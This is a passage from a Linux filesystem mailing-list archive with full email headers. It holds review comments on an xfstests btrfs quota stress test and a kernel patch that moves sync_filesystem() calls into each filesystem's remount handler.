<20140313031217.GC4263@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-03-13_05:2014-03-13,2014-03-13,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=1.13242748511766e-14 kscore.compositescore=0 circleOfTrustscore=0 compositescore=0.997797736942976 urlsuspect_oldscore=0.997797736942976 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=64355 rbsscore=0.997797736942976 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1403130064 X-FB-Internal: deliver X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1394719352 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 03/12/2014 11:12 PM, Dave Chinner wrote: > On Mon, Mar 10, 2014 at 03:48:43PM -0400, Josef Bacik wrote: >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> On 03/09/2014 11:44 PM, Wang Shilong wrote: >>> So this is a stress test for btrfs quota operations. it can also >>> detect the following commit fixed problem: >>> >>> 4082bd3d73(Btrfs: fix oops when writting dirty qgroups to disk) >>> >>> Signed-off-by: Wang Shilong --- >>> v1->v2: switch into new helper _run_btrfs_util_prog() --- >>> tests/btrfs/043 | 76 >>> +++++++++++++++++++++++++++++++++++++++++++++++++++++ >>> tests/btrfs/043.out | 2 ++ tests/btrfs/group | 1 + 3 files >>> changed, 79 insertions(+) create mode 100755 tests/btrfs/043 create >>> mode 100644 tests/btrfs/043.out >>> >>> diff --git a/tests/btrfs/043 b/tests/btrfs/043 new file mode >>> 100755 index 0000000..d6c4bf3 --- /dev/null +++ b/tests/btrfs/043 >>> @@ -0,0 +1,76 @@ +#! /bin/bash +# FS QA Test No. 043 +# +# >>> stresstest for btrfs quota operations. we run fsstress and quota +# >>> operations concurrently. +# >>> +#----------------------------------------------------------------------- >>> >>> >> +# Copyright (c) 2014 Fujitsu. All Rights Reserved. >>> +# +# This program is free software; you can redistribute it >>> and/or +# modify it under the terms of the GNU General Public >>> License as +# published by the Free Software Foundation. +# +# This >>> program is distributed in the hope that it would be useful, +# but >>> WITHOUT ANY WARRANTY; without even the implied warranty of +# >>> MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# >>> GNU General Public License for more details. +# +# You should have >>> received a copy of the GNU General Public License +# along with >>> this program; if not, write the Free Software Foundation, +# Inc., >>> 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA >>> +#----------------------------------------------------------------------- >>> >>> >> +# >>> + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output >>> created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is >>> the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + >>> +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard >>> environment, filters and checks +. ./common/rc +. ./common/filter >>> + +_supported_fs btrfs +_supported_os Linux +_require_scratch + +rm >>> -f $seqres.full + +_quota_enabled_background() +{ + i=1 + while [ >>> $i -le 5 ] + do + _run_btrfs_util_prog quota enable $SCRATCH_MNT + >>> _run_btrfs_util_prog quota disable $SCRATCH_MNT + i=$(($i+1)) + >>> sleep 1 + done +} + +MKFS_SIZE=$((1024 * 1024 * 1024)) +run_check >>> _scratch_mkfs_sized $MKFS_SIZE +run_check _scratch_mount + >>> +_quota_enabled_background & +run_check $FSSTRESS_PROG -d >>> $SCRATCH_MNT -w -p 5 -n 1000 \ + $FSSTRESS_AVOID + +run_check >>> _scratch_unmount +_check_scratch_fs + >> >> You should probably be doing something to make sure the background >> quota stuff exits properly before your script exits, my fio box can >> run the fsstress in way less than 5 seconds. Thanks, > > josef - you might want to have a look at what your mailer is doing > to quoted email ad fix it... ;) Eesh I think it's enigmail, I'll turn it off. Thanks, Josef From tytso@thunk.org Thu Mar 13 09:22:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 442767F3F for ; Thu, 13 Mar 2014 09:22:11 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D8DDCAC006 for ; Thu, 13 Mar 2014 07:22:10 -0700 (PDT) X-ASG-Debug-ID: 1394720523-04bdf05daa539db0001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id yo5bBCNQLhAojXAw (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Thu, 13 Mar 2014 07:22:03 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WO6VM-0007Db-5r; Thu, 13 Mar 2014 14:21:04 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 7EE67580286; Thu, 13 Mar 2014 10:21:02 -0400 (EDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1394720462; bh=pk3pbdc4NqLfuF7nWthgXFMDSLjjgVTitY6pNmKzP4s=; h=From:To:Cc:Subject:Date:In-Reply-To:References:From; b=ORb54RKIw55GjiRcHDwbax73LI2B8NdZjtds3C3sW1dPpDsuZiBV1lA3Bteq0CALe 8BV9gszoNyQiG0kOGJKfA3WTkCtwnuPkYWFjNgbJXeZ4aHf3QVfB7/bTvZRQ85HdW/ LvDRRkrXlyrfJFrHW9Xl7QCRIBr948DrjqQpZwTk= From: Theodore Ts'o To: linux-fsdevel@thunk.org Cc: Ext4 Developers List , Theodore Ts'o , linux-fsdevel@vger.kernel.org, Christoph Hellwig , Artem Bityutskiy , Adrian Hunter , Evgeniy Dushistov , Jan Kara , OGAWA Hirofumi , Anders Larsen , Phillip Lougher , Kees Cook , Mikulas Patocka , Petr Vandrovec , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, linux-cifs@vger.kernel.org, samba-technical@lists.samba.org, codalist@coda.cs.cmu.edu, linux-f2fs-devel@lists.sourceforge.net, fuse-devel@lists.sourceforge.net, cluster-devel@redhat.com, linux-mtd@lists.infradead.org, jfs-discussion@lists.sourceforge.net, linux-nfs@vger.kernel.org, linux-nilfs@vger.kernel.org, linux-ntfs-dev@lists.sourceforge.net, ocfs2-devel@oss.oracle.com, reiserfs-devel@vger.kernel.org Subject: [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() Date: Thu, 13 Mar 2014 10:20:56 -0400 X-ASG-Orig-Subj: [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() Message-Id: <1394720456-16629-1-git-send-email-tytso@mit.edu> X-Mailer: git-send-email 1.9.0 In-Reply-To: <20140313073936.GA14663@infradead.org> References: <20140313073936.GA14663@infradead.org> X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1394720523 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3841 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Previously, the no-op "mount -o mount /dev/xxx" operation when the file system is already mounted read-write causes an implied, unconditional syncfs(). This seems pretty stupid, and it's certainly documented or guaraunteed to do this, nor is it particularly useful, except in the case where the file system was mounted rw and is getting remounted read-only. However, it's possible that there might be some file systems that are actually depending on this behavior. In most file systems, it's probably fine to only call sync_filesystem() when transitioning from read-write to read-only, and there are some file systems where this is not needed at all (for example, for a pseudo-filesystem or something like romfs). Signed-off-by: "Theodore Ts'o" Cc: linux-fsdevel@vger.kernel.org Cc: Christoph Hellwig Cc: Artem Bityutskiy Cc: Adrian Hunter Cc: Evgeniy Dushistov Cc: Jan Kara Cc: OGAWA Hirofumi Cc: Anders Larsen Cc: Phillip Lougher Cc: Kees Cook Cc: Mikulas Patocka Cc: Petr Vandrovec Cc: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Cc: linux-cifs@vger.kernel.org Cc: samba-technical@lists.samba.org Cc: codalist@coda.cs.cmu.edu Cc: linux-ext4@vger.kernel.org Cc: linux-f2fs-devel@lists.sourceforge.net Cc: fuse-devel@lists.sourceforge.net Cc: cluster-devel@redhat.com Cc: linux-mtd@lists.infradead.org Cc: jfs-discussion@lists.sourceforge.net Cc: linux-nfs@vger.kernel.org Cc: linux-nilfs@vger.kernel.org Cc: linux-ntfs-dev@lists.sourceforge.net Cc: ocfs2-devel@oss.oracle.com Cc: reiserfs-devel@vger.kernel.org --- fs/adfs/super.c | 1 + fs/affs/super.c | 1 + fs/befs/linuxvfs.c | 1 + fs/btrfs/super.c | 1 + fs/cifs/cifsfs.c | 1 + fs/coda/inode.c | 1 + fs/cramfs/inode.c | 1 + fs/debugfs/inode.c | 1 + fs/devpts/inode.c | 1 + fs/efs/super.c | 1 + fs/ext2/super.c | 1 + fs/ext3/super.c | 2 ++ fs/ext4/super.c | 2 ++ fs/f2fs/super.c | 2 ++ fs/fat/inode.c | 2 ++ fs/freevxfs/vxfs_super.c | 1 + fs/fuse/inode.c | 1 + fs/gfs2/super.c | 2 ++ fs/hfs/super.c | 1 + fs/hfsplus/super.c | 1 + fs/hpfs/super.c | 2 ++ fs/isofs/inode.c | 1 + fs/jffs2/super.c | 1 + fs/jfs/super.c | 1 + fs/minix/inode.c | 1 + fs/ncpfs/inode.c | 1 + fs/nfs/super.c | 2 ++ fs/nilfs2/super.c | 1 + fs/ntfs/super.c | 2 ++ fs/ocfs2/super.c | 2 ++ fs/openpromfs/inode.c | 1 + fs/proc/root.c | 2 ++ fs/pstore/inode.c | 1 + fs/qnx4/inode.c | 1 + fs/qnx6/inode.c | 1 + fs/reiserfs/super.c | 1 + fs/romfs/super.c | 1 + fs/squashfs/super.c | 1 + fs/super.c | 2 -- fs/sysv/inode.c | 1 + fs/ubifs/super.c | 1 + fs/udf/super.c | 1 + fs/ufs/super.c | 1 + fs/xfs/xfs_super.c | 1 + 44 files changed, 53 insertions(+), 2 deletions(-) diff --git a/fs/adfs/super.c b/fs/adfs/super.c index 7b3003c..952aeb0 100644 --- a/fs/adfs/super.c +++ b/fs/adfs/super.c @@ -212,6 +212,7 @@ static int parse_options(struct super_block *sb, char *options) static int adfs_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); *flags |= MS_NODIRATIME; return parse_options(sb, data); } diff --git a/fs/affs/super.c b/fs/affs/super.c index d098731..3074530 100644 --- a/fs/affs/super.c +++ b/fs/affs/super.c @@ -530,6 +530,7 @@ affs_remount(struct super_block *sb, int *flags, char *data) pr_debug("AFFS: remount(flags=0x%x,opts=\"%s\")\n",*flags,data); + sync_filesystem(sb); *flags |= MS_NODIRATIME; memcpy(volume, sbi->s_volume, 32); diff --git a/fs/befs/linuxvfs.c b/fs/befs/linuxvfs.c index 845d2d6..56d70c8 100644 --- a/fs/befs/linuxvfs.c +++ b/fs/befs/linuxvfs.c @@ -913,6 +913,7 @@ befs_fill_super(struct super_block *sb, void *data, int silent) static int befs_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); if (!(*flags & MS_RDONLY)) return -EINVAL; return 0; diff --git a/fs/btrfs/super.c b/fs/btrfs/super.c index 97cc241..00cd0c5 100644 --- a/fs/btrfs/super.c +++ b/fs/btrfs/super.c @@ -1381,6 +1381,7 @@ static int btrfs_remount(struct super_block *sb, int *flags, char *data) unsigned int old_metadata_ratio = fs_info->metadata_ratio; int ret; + sync_filesystem(sb); btrfs_remount_prepare(fs_info); ret = btrfs_parse_options(root, data); diff --git a/fs/cifs/cifsfs.c b/fs/cifs/cifsfs.c index 849f613..4942c94 100644 --- a/fs/cifs/cifsfs.c +++ b/fs/cifs/cifsfs.c @@ -541,6 +541,7 @@ static int cifs_show_stats(struct seq_file *s, struct dentry *root) static int cifs_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); *flags |= MS_NODIRATIME; return 0; } diff --git a/fs/coda/inode.c b/fs/coda/inode.c index 506de34..3f48000 100644 --- a/fs/coda/inode.c +++ b/fs/coda/inode.c @@ -96,6 +96,7 @@ void coda_destroy_inodecache(void) static int coda_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); *flags |= MS_NOATIME; return 0; } diff --git a/fs/cramfs/inode.c b/fs/cramfs/inode.c index 06610cf..a275911 100644 --- a/fs/cramfs/inode.c +++ b/fs/cramfs/inode.c @@ -244,6 +244,7 @@ static void cramfs_kill_sb(struct super_block *sb) static int cramfs_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); *flags |= MS_RDONLY; return 0; } diff --git a/fs/debugfs/inode.c b/fs/debugfs/inode.c index 9c0444c..02928a9 100644 --- a/fs/debugfs/inode.c +++ b/fs/debugfs/inode.c @@ -218,6 +218,7 @@ static int debugfs_remount(struct super_block *sb, int *flags, char *data) int err; struct debugfs_fs_info *fsi = sb->s_fs_info; + sync_filesystem(sb); err = debugfs_parse_options(data, &fsi->mount_opts); if (err) goto fail; diff --git a/fs/devpts/inode.c b/fs/devpts/inode.c index a726b9f..c710380 100644 --- a/fs/devpts/inode.c +++ b/fs/devpts/inode.c @@ -313,6 +313,7 @@ static int devpts_remount(struct super_block *sb, int *flags, char *data) struct pts_fs_info *fsi = DEVPTS_SB(sb); struct pts_mount_opts *opts = &fsi->mount_opts; + sync_filesystem(sb); err = parse_mount_options(data, PARSE_REMOUNT, opts); /* diff --git a/fs/efs/super.c b/fs/efs/super.c index 50215bb..103bbd8 100644 --- a/fs/efs/super.c +++ b/fs/efs/super.c @@ -114,6 +114,7 @@ static void destroy_inodecache(void) static int efs_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); *flags |= MS_RDONLY; return 0; } diff --git a/fs/ext2/super.c b/fs/ext2/super.c index 20d6697..d260115 100644 --- a/fs/ext2/super.c +++ b/fs/ext2/super.c @@ -1254,6 +1254,7 @@ static int ext2_remount (struct super_block * sb, int * flags, char * data) unsigned long old_sb_flags; int err; + sync_filesystem(sb); spin_lock(&sbi->s_lock); /* Store the old options */ diff --git a/fs/ext3/super.c b/fs/ext3/super.c index 37fd31e..95c6c5a 100644 --- a/fs/ext3/super.c +++ b/fs/ext3/super.c @@ -2649,6 +2649,8 @@ static int ext3_remount (struct super_block * sb, int * flags, char * data) int i; #endif + sync_filesystem(sb); + /* Store the original options */ old_sb_flags = sb->s_flags; old_opts.s_mount_opt = sbi->s_mount_opt; diff --git a/fs/ext4/super.c b/fs/ext4/super.c index f5c13b8..aa3842f 100644 --- a/fs/ext4/super.c +++ b/fs/ext4/super.c @@ -4767,6 +4767,8 @@ static int ext4_remount(struct super_block *sb, int *flags, char *data) #endif char *orig_data = kstrdup(data, GFP_KERNEL); + sync_filesystem(sb); + /* Store the original options */ old_sb_flags = sb->s_flags; old_opts.s_mount_opt = sbi->s_mount_opt; diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c index 1a85f83..856bdf9 100644 --- a/fs/f2fs/super.c +++ b/fs/f2fs/super.c @@ -568,6 +568,8 @@ static int f2fs_remount(struct super_block *sb, int *flags, char *data) struct f2fs_mount_info org_mount_opt; int err, active_logs; + sync_filesystem(sb); + /* * Save the old mount options in case we * need to restore them. diff --git a/fs/fat/inode.c b/fs/fat/inode.c index 854b578..343e477 100644 --- a/fs/fat/inode.c +++ b/fs/fat/inode.c @@ -635,6 +635,8 @@ static int fat_remount(struct super_block *sb, int *flags, char *data) struct msdos_sb_info *sbi = MSDOS_SB(sb); *flags |= MS_NODIRATIME | (sbi->options.isvfat ? 0 : MS_NOATIME); + sync_filesystem(sb); + /* make sure we update state on remount. */ new_rdonly = *flags & MS_RDONLY; if (new_rdonly != (sb->s_flags & MS_RDONLY)) { diff --git a/fs/freevxfs/vxfs_super.c b/fs/freevxfs/vxfs_super.c index e37eb27..7ca8c75 100644 --- a/fs/freevxfs/vxfs_super.c +++ b/fs/freevxfs/vxfs_super.c @@ -124,6 +124,7 @@ vxfs_statfs(struct dentry *dentry, struct kstatfs *bufp) static int vxfs_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); *flags |= MS_RDONLY; return 0; } diff --git a/fs/fuse/inode.c b/fs/fuse/inode.c index d468643..ecdb255d 100644 --- a/fs/fuse/inode.c +++ b/fs/fuse/inode.c @@ -135,6 +135,7 @@ static void fuse_evict_inode(struct inode *inode) static int fuse_remount_fs(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); if (*flags & MS_MANDLOCK) return -EINVAL; diff --git a/fs/gfs2/super.c b/fs/gfs2/super.c index 60f60f6..4c6dd50 100644 --- a/fs/gfs2/super.c +++ b/fs/gfs2/super.c @@ -1175,6 +1175,8 @@ static int gfs2_remount_fs(struct super_block *sb, int *flags, char *data) struct gfs2_tune *gt = &sdp->sd_tune; int error; + sync_filesystem(sb); + spin_lock(>->gt_spin); args.ar_commit = gt->gt_logd_secs; args.ar_quota_quantum = gt->gt_quota_quantum; diff --git a/fs/hfs/super.c b/fs/hfs/super.c index 2d2039e..eee7206 100644 --- a/fs/hfs/super.c +++ b/fs/hfs/super.c @@ -112,6 +112,7 @@ static int hfs_statfs(struct dentry *dentry, struct kstatfs *buf) static int hfs_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); *flags |= MS_NODIRATIME; if ((*flags & MS_RDONLY) == (sb->s_flags & MS_RDONLY)) return 0; diff --git a/fs/hfsplus/super.c b/fs/hfsplus/super.c index 80875aa..8eb787b 100644 --- a/fs/hfsplus/super.c +++ b/fs/hfsplus/super.c @@ -323,6 +323,7 @@ static int hfsplus_statfs(struct dentry *dentry, struct kstatfs *buf) static int hfsplus_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); if ((*flags & MS_RDONLY) == (sb->s_flags & MS_RDONLY)) return 0; if (!(*flags & MS_RDONLY)) { diff --git a/fs/hpfs/super.c b/fs/hpfs/super.c index 4534ff6..fe3463a 100644 --- a/fs/hpfs/super.c +++ b/fs/hpfs/super.c @@ -421,6 +421,8 @@ static int hpfs_remount_fs(struct super_block *s, int *flags, char *data) struct hpfs_sb_info *sbi = hpfs_sb(s); char *new_opts = kstrdup(data, GFP_KERNEL); + sync_filesystem(s); + *flags |= MS_NOATIME; hpfs_lock(s); diff --git a/fs/isofs/inode.c b/fs/isofs/inode.c index 4a9e10e..6af66ee 100644 --- a/fs/isofs/inode.c +++ b/fs/isofs/inode.c @@ -117,6 +117,7 @@ static void destroy_inodecache(void) static int isofs_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); if (!(*flags & MS_RDONLY)) return -EROFS; return 0; diff --git a/fs/jffs2/super.c b/fs/jffs2/super.c index 0defb1c..0918f0e 100644 --- a/fs/jffs2/super.c +++ b/fs/jffs2/super.c @@ -243,6 +243,7 @@ static int jffs2_remount_fs(struct super_block *sb, int *flags, char *data) struct jffs2_sb_info *c = JFFS2_SB_INFO(sb); int err; + sync_filesystem(sb); err = jffs2_parse_options(c, data); if (err) return -EINVAL; diff --git a/fs/jfs/super.c b/fs/jfs/super.c index e2b7483..97f7fda 100644 --- a/fs/jfs/super.c +++ b/fs/jfs/super.c @@ -418,6 +418,7 @@ static int jfs_remount(struct super_block *sb, int *flags, char *data) int flag = JFS_SBI(sb)->flag; int ret; + sync_filesystem(sb); if (!parse_options(data, sb, &newLVSize, &flag)) { return -EINVAL; } diff --git a/fs/minix/inode.c b/fs/minix/inode.c index 0332109..dcdc298 100644 --- a/fs/minix/inode.c +++ b/fs/minix/inode.c @@ -123,6 +123,7 @@ static int minix_remount (struct super_block * sb, int * flags, char * data) struct minix_sb_info * sbi = minix_sb(sb); struct minix_super_block * ms; + sync_filesystem(sb); ms = sbi->s_ms; if ((*flags & MS_RDONLY) == (sb->s_flags & MS_RDONLY)) return 0; diff --git a/fs/ncpfs/inode.c b/fs/ncpfs/inode.c index 2cf2ebe..5f86e80 100644 --- a/fs/ncpfs/inode.c +++ b/fs/ncpfs/inode.c @@ -99,6 +99,7 @@ static void destroy_inodecache(void) static int ncp_remount(struct super_block *sb, int *flags, char* data) { + sync_filesystem(sb); *flags |= MS_NODIRATIME; return 0; } diff --git a/fs/nfs/super.c b/fs/nfs/super.c index 910ed90..2cb5694 100644 --- a/fs/nfs/super.c +++ b/fs/nfs/super.c @@ -2215,6 +2215,8 @@ nfs_remount(struct super_block *sb, int *flags, char *raw_data) struct nfs4_mount_data *options4 = (struct nfs4_mount_data *)raw_data; u32 nfsvers = nfss->nfs_client->rpc_ops->version; + sync_filesystem(sb); + /* * Userspace mount programs that send binary options generally send * them populated with default values. We have no way to know which diff --git a/fs/nilfs2/super.c b/fs/nilfs2/super.c index 7ac2a12..8c532b2 100644 --- a/fs/nilfs2/super.c +++ b/fs/nilfs2/super.c @@ -1129,6 +1129,7 @@ static int nilfs_remount(struct super_block *sb, int *flags, char *data) unsigned long old_mount_opt; int err; + sync_filesystem(sb); old_sb_flags = sb->s_flags; old_mount_opt = nilfs->ns_mount_opt; diff --git a/fs/ntfs/super.c b/fs/ntfs/super.c index 82650d5..bd5610d 100644 --- a/fs/ntfs/super.c +++ b/fs/ntfs/super.c @@ -468,6 +468,8 @@ static int ntfs_remount(struct super_block *sb, int *flags, char *opt) ntfs_debug("Entering with remount options string: %s", opt); + sync_filesystem(sb); + #ifndef NTFS_RW /* For read-only compiled driver, enforce read-only flag. */ *flags |= MS_RDONLY; diff --git a/fs/ocfs2/super.c b/fs/ocfs2/super.c index 49d84f8..5f9bf8f 100644 --- a/fs/ocfs2/super.c +++ b/fs/ocfs2/super.c @@ -631,6 +631,8 @@ static int ocfs2_remount(struct super_block *sb, int *flags, char *data) struct ocfs2_super *osb = OCFS2_SB(sb); u32 tmp; + sync_filesystem(sb); + if (!ocfs2_parse_options(sb, data, &parsed_options, 1) || !ocfs2_check_set_options(sb, &parsed_options)) { ret = -EINVAL; diff --git a/fs/openpromfs/inode.c b/fs/openpromfs/inode.c index 8c0ceb8..15e4500 100644 --- a/fs/openpromfs/inode.c +++ b/fs/openpromfs/inode.c @@ -368,6 +368,7 @@ static struct inode *openprom_iget(struct super_block *sb, ino_t ino) static int openprom_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); *flags |= MS_NOATIME; return 0; } diff --git a/fs/proc/root.c b/fs/proc/root.c index 87dbcbe..ac823a8 100644 --- a/fs/proc/root.c +++ b/fs/proc/root.c @@ -92,6 +92,8 @@ static int proc_parse_options(char *options, struct pid_namespace *pid) int proc_remount(struct super_block *sb, int *flags, char *data) { struct pid_namespace *pid = sb->s_fs_info; + + sync_filesystem(sb); return !proc_parse_options(data, pid); } diff --git a/fs/pstore/inode.c b/fs/pstore/inode.c index 1282384..192297b 100644 --- a/fs/pstore/inode.c +++ b/fs/pstore/inode.c @@ -249,6 +249,7 @@ static void parse_options(char *options) static int pstore_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); parse_options(data); return 0; diff --git a/fs/qnx4/inode.c b/fs/qnx4/inode.c index 8955881..c4bcb77 100644 --- a/fs/qnx4/inode.c +++ b/fs/qnx4/inode.c @@ -44,6 +44,7 @@ static int qnx4_remount(struct super_block *sb, int *flags, char *data) { struct qnx4_sb_info *qs; + sync_filesystem(sb); qs = qnx4_sb(sb); qs->Version = QNX4_VERSION; *flags |= MS_RDONLY; diff --git a/fs/qnx6/inode.c b/fs/qnx6/inode.c index 8d941ed..65cdaab 100644 --- a/fs/qnx6/inode.c +++ b/fs/qnx6/inode.c @@ -55,6 +55,7 @@ static int qnx6_show_options(struct seq_file *seq, struct dentry *root) static int qnx6_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); *flags |= MS_RDONLY; return 0; } diff --git a/fs/reiserfs/super.c b/fs/reiserfs/super.c index 2c80335..abf2b76 100644 --- a/fs/reiserfs/super.c +++ b/fs/reiserfs/super.c @@ -1319,6 +1319,7 @@ static int reiserfs_remount(struct super_block *s, int *mount_flags, char *arg) int i; #endif + sync_filesystem(s); reiserfs_write_lock(s); #ifdef CONFIG_QUOTA diff --git a/fs/romfs/super.c b/fs/romfs/super.c index d841878..ef90e8b 100644 --- a/fs/romfs/super.c +++ b/fs/romfs/super.c @@ -432,6 +432,7 @@ static int romfs_statfs(struct dentry *dentry, struct kstatfs *buf) */ static int romfs_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); *flags |= MS_RDONLY; return 0; } diff --git a/fs/squashfs/super.c b/fs/squashfs/super.c index 202df63..031c8d67 100644 --- a/fs/squashfs/super.c +++ b/fs/squashfs/super.c @@ -371,6 +371,7 @@ static int squashfs_statfs(struct dentry *dentry, struct kstatfs *buf) static int squashfs_remount(struct super_block *sb, int *flags, char *data) { + sync_filesystem(sb); *flags |= MS_RDONLY; return 0; } diff --git a/fs/super.c b/fs/super.c index 80d5cf2..e9dc3c3 100644 --- a/fs/super.c +++ b/fs/super.c @@ -719,8 +719,6 @@ int do_remount_sb(struct super_block *sb, int flags, void *data, int force) } } - sync_filesystem(sb); - if (sb->s_op->remount_fs) { retval = sb->s_op->remount_fs(sb, &flags, data); if (retval) { diff --git a/fs/sysv/inode.c b/fs/sysv/inode.c index c327d4e..4742e58 100644 --- a/fs/sysv/inode.c +++ b/fs/sysv/inode.c @@ -60,6 +60,7 @@ static int sysv_remount(struct super_block *sb, int *flags, char *data) { struct sysv_sb_info *sbi = SYSV_SB(sb); + sync_filesystem(sb); if (sbi->s_forced_ro) *flags |= MS_RDONLY; return 0; diff --git a/fs/ubifs/super.c b/fs/ubifs/super.c index 5ded849..e1598ab 100644 --- a/fs/ubifs/super.c +++ b/fs/ubifs/super.c @@ -1827,6 +1827,7 @@ static int ubifs_remount_fs(struct super_block *sb, int *flags, char *data) int err; struct ubifs_info *c = sb->s_fs_info; + sync_filesystem(sb); dbg_gen("old flags %#lx, new flags %#x", sb->s_flags, *flags); err = ubifs_parse_options(c, data, 1); diff --git a/fs/udf/super.c b/fs/udf/super.c index 3306b9f..64f2b73 100644 --- a/fs/udf/super.c +++ b/fs/udf/super.c @@ -646,6 +646,7 @@ static int udf_remount_fs(struct super_block *sb, int *flags, char *options) int error = 0; struct logicalVolIntegrityDescImpUse *lvidiu = udf_sb_lvidiu(sb); + sync_filesystem(sb); if (lvidiu) { int write_rev = le16_to_cpu(lvidiu->minUDFWriteRev); if (write_rev > UDF_MAX_WRITE_VERSION && !(*flags & MS_RDONLY)) diff --git a/fs/ufs/super.c b/fs/ufs/super.c index 329f2f5..b8c6791 100644 --- a/fs/ufs/super.c +++ b/fs/ufs/super.c @@ -1280,6 +1280,7 @@ static int ufs_remount (struct super_block *sb, int *mount_flags, char *data) unsigned new_mount_opt, ufstype; unsigned flags; + sync_filesystem(sb); lock_ufs(sb); mutex_lock(&UFS_SB(sb)->s_lock); uspi = UFS_SB(sb)->s_uspi; diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index f317488..aaa3eca 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -1197,6 +1197,7 @@ xfs_fs_remount( char *p; int error; + sync_filesystem(sb); while ((p = strsep(&options, ",")) != NULL) { int token; -- 1.9.0 From rvandolson@esri.com Thu Mar 13 09:23:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D909C7F3F for ; Thu, 13 Mar 2014 09:23:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4E7E6AC002 for ; Thu, 13 Mar 2014 07:23:48 -0700 (PDT) X-ASG-Debug-ID: 1394720625-04cbb054b6313e70001-NocioJ Received: from bash.esri.com (Redlands.esri.com [198.102.62.250]) by cuda.sgi.com with ESMTP id r4yF6oC0Z0WthAwP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 13 Mar 2014 